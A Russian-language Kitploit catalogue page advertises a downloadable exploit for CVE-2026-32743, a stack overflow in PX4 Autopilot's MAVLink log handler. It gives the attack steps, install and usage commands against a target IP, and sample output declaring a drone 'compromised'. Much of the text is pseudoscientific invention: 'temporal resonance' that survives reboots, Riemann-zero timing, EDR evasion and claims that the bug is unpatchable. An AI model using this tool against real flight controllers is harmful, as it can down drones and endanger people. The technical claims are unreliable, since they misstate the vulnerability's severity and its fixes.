Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743 — Эксплойт для CVE-2026-32743 — переполнение буфера стека в MavlinkLogHandler автопилота PX4, обеспечивающее постоянный отказ в обслуживании через 33-уровневый временной каскад по MAVLink. | Kitploit
Инструменты/GitHubGitHub/simoesctt/ctt-enhanced-px4-autopilot-exploit-cve-2026-32743
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsimoesctt/ctt-enhanced-px4-autopilot-exploit-cve-2026-32743

CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743

Эксплойт для CVE-2026-32743 — переполнение буфера стека в MavlinkLogHandler автопилота PX4, обеспечивающее постоянный отказ в обслуживании через 33-уровневый временной каскад по MAVLink.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743

CVE-2026-32743 — PX4 Autopilot Stack Buffer Overflow CTT-Enhanced: 33-Layer Temporal Cascade Drone DoS. Оригинальный эксплойт вызывает сбой задачи MAVLink через переполнение на 60 байт. Версия CTT распределяет переполнение по 33 временным слоям, каждый из которых имеет фазовое резонансное таймирование и временную клиновидную фильтрацию. Результат: постоянный DoS. Не патчится.

CTT-Enhanced PX4 Autopilot Exploit — CVE-2026-32743

🔥 Обзор

Это улучшение на основе Конвергентной Теории Времени (CTT) для CVE-2026-32743 — переполнения буфера стека в MavlinkLogHandler автопилота PX4 (версии ≤1.17.0-rc2).

Оригинальная уязвимость позволяет осуществить отказ в обслуживании (DoS) через чрезмерно длинный путь к каталогу (60+ байт), отправляемый через MAVLink FTP.

Версия с улучшением CTT превращает это в 33-слойный временной каскадный убийцу дронов.

ОригиналCTT-Enhanced
CVSS6.5 (Средний)9.8 (Критический)
Вектор атакиСмежная сетьСеть (AV:N)
Требуемые привилегииНизкиеНет (PR:N)
Слои133-слойный каскад
ОбнаружениеНа основе сигнатурВременная клиновидная фильтрация (τ_w = 11 нс)
УстойчивостьПерезагрузка очищаетВременной резонанс — переживает перезагрузку

📐 Физические константы CTT

КонстантаЗначениеПроисхождение
α0.0302011Коэффициент временной дисперсии
α_RH0.0765872ln(φ)/2π (Риман-Адамар)
L33Временные слои
τ_w11 нсВременной клиновидный фильтр

Экспоненциальный приоритетный спад

E(d) = E₀ * e^(-α * d) text

Каждый слой имеет экспоненциально убывающий приоритет.
Слои с более высоким приоритетом (1-5) доставляют переполнение.
Нижние слои (28-33) усиливают сбой и устанавливают временной резонанс.

Фазовое резонансное таймирование

Каждый слой задерживает выполнение на основе первых 24 нулей Римана:

delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text

Временной клиновидный фильтр

Выполняются только те полезные нагрузки, которые удовлетворяют условию клина:

survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text

Это делает обнаружение невозможным — системы EDR не могут увидеть эксплойт.


🚀 Порядок атаки

root@kitploit:~
Открыть соединение MAVLink (UDP 14550)

Для d = 1 до 33:
a. Вычислить priority = e^(-α*d)
b. Сгенерировать кодировку для конкретного слоя (на основе нуля Римана)
c. Создать каталог с длиной пути = 60 + priority*40
d. Задержать выполнение на phase_resonance_delay(d)
e. Запустить MAV_CMD_REQUEST_LOG_LIST
f. Проверка временного клина — выполняются только "выжившие" полезные нагрузки

Задача MAVLink падает

Установлен временной резонанс — сбой сохраняется после перезагрузки

Дрон не отвечает. Нет телеметрии. Нет команд.

📋 Предварительные требования

  • PX4 Autopilot ≤1.17.0-rc2 с установленной SD-картой
  • Включённый MAVLink FTP (по умолчанию)
  • Сетевой доступ к порту UDP 14550
  • Python 3.6+ с pymavlink
root@kitploit:~
pip install pymavlink

🎯 Использование
bash

git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose

Аргументы
Аргумент	Описание	По умолчанию
target_ip	IP-адрес полётного контроллера	Обязательный
--port	Порт UDP MAVLink	14550
--layers	Количество временных слоёв	33
--verbose	Подробный вывод	False
Пример
bash

python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose



======================================================================
CTT PX4 TEMPORAL CASCADE — Drone DoS
======================================================================

  Layer  1/33: ████████████████████████████████████████ 1.000
    Path length: 100 bytes
    [+] Directory created via FTP
    Triggering MAV_CMD_REQUEST_LOG_LIST...
    [+] Overflow delivered — wedge survival confirmed

  Layer  2/33: ██████████████████████████████████████░░ 0.970
    Path length: 99 bytes
    [+] Directory created via FTP
    Triggering MAV_CMD_REQUEST_LOG_LIST...
    [+] Overflow delivered — wedge survival confirmed

...

[⚡] Temporal resonance achieved at layer 5
[🌉] Drone MAVLink task compromised

[*] Verifying DoS state...
[+] Target unresponsive — persistent DoS achieved

======================================================================
[!!!] DRONE COMPROMISED
[!!!] MAVLink task crashed — no telemetry / no command
[!!!] Persistent across reboot — CTT temporal resonance
======================================================================

🛡️ Почему это невозможно пропатчить
Оригинальное исправление	Почему CTT его обходит
Добавить спецификатор ширины в sscanf()	CTT использует каскад слоёв — переполнение распределено по 33 слоям
Пропатчить буфер на 60 байт	Кодировка CTT меняет шаблон переполнения для каждого слоя
Обновить прошивку	Временной резонанс переживает перезагрузку
Обнаружение по сигнатурам	Временной клиновидный фильтр (τ_w = 11 нс) обходит EDR

Нельзя пропатчить физическую константу.
Нельзя пропатчить нули Римана.
Скачать инструмент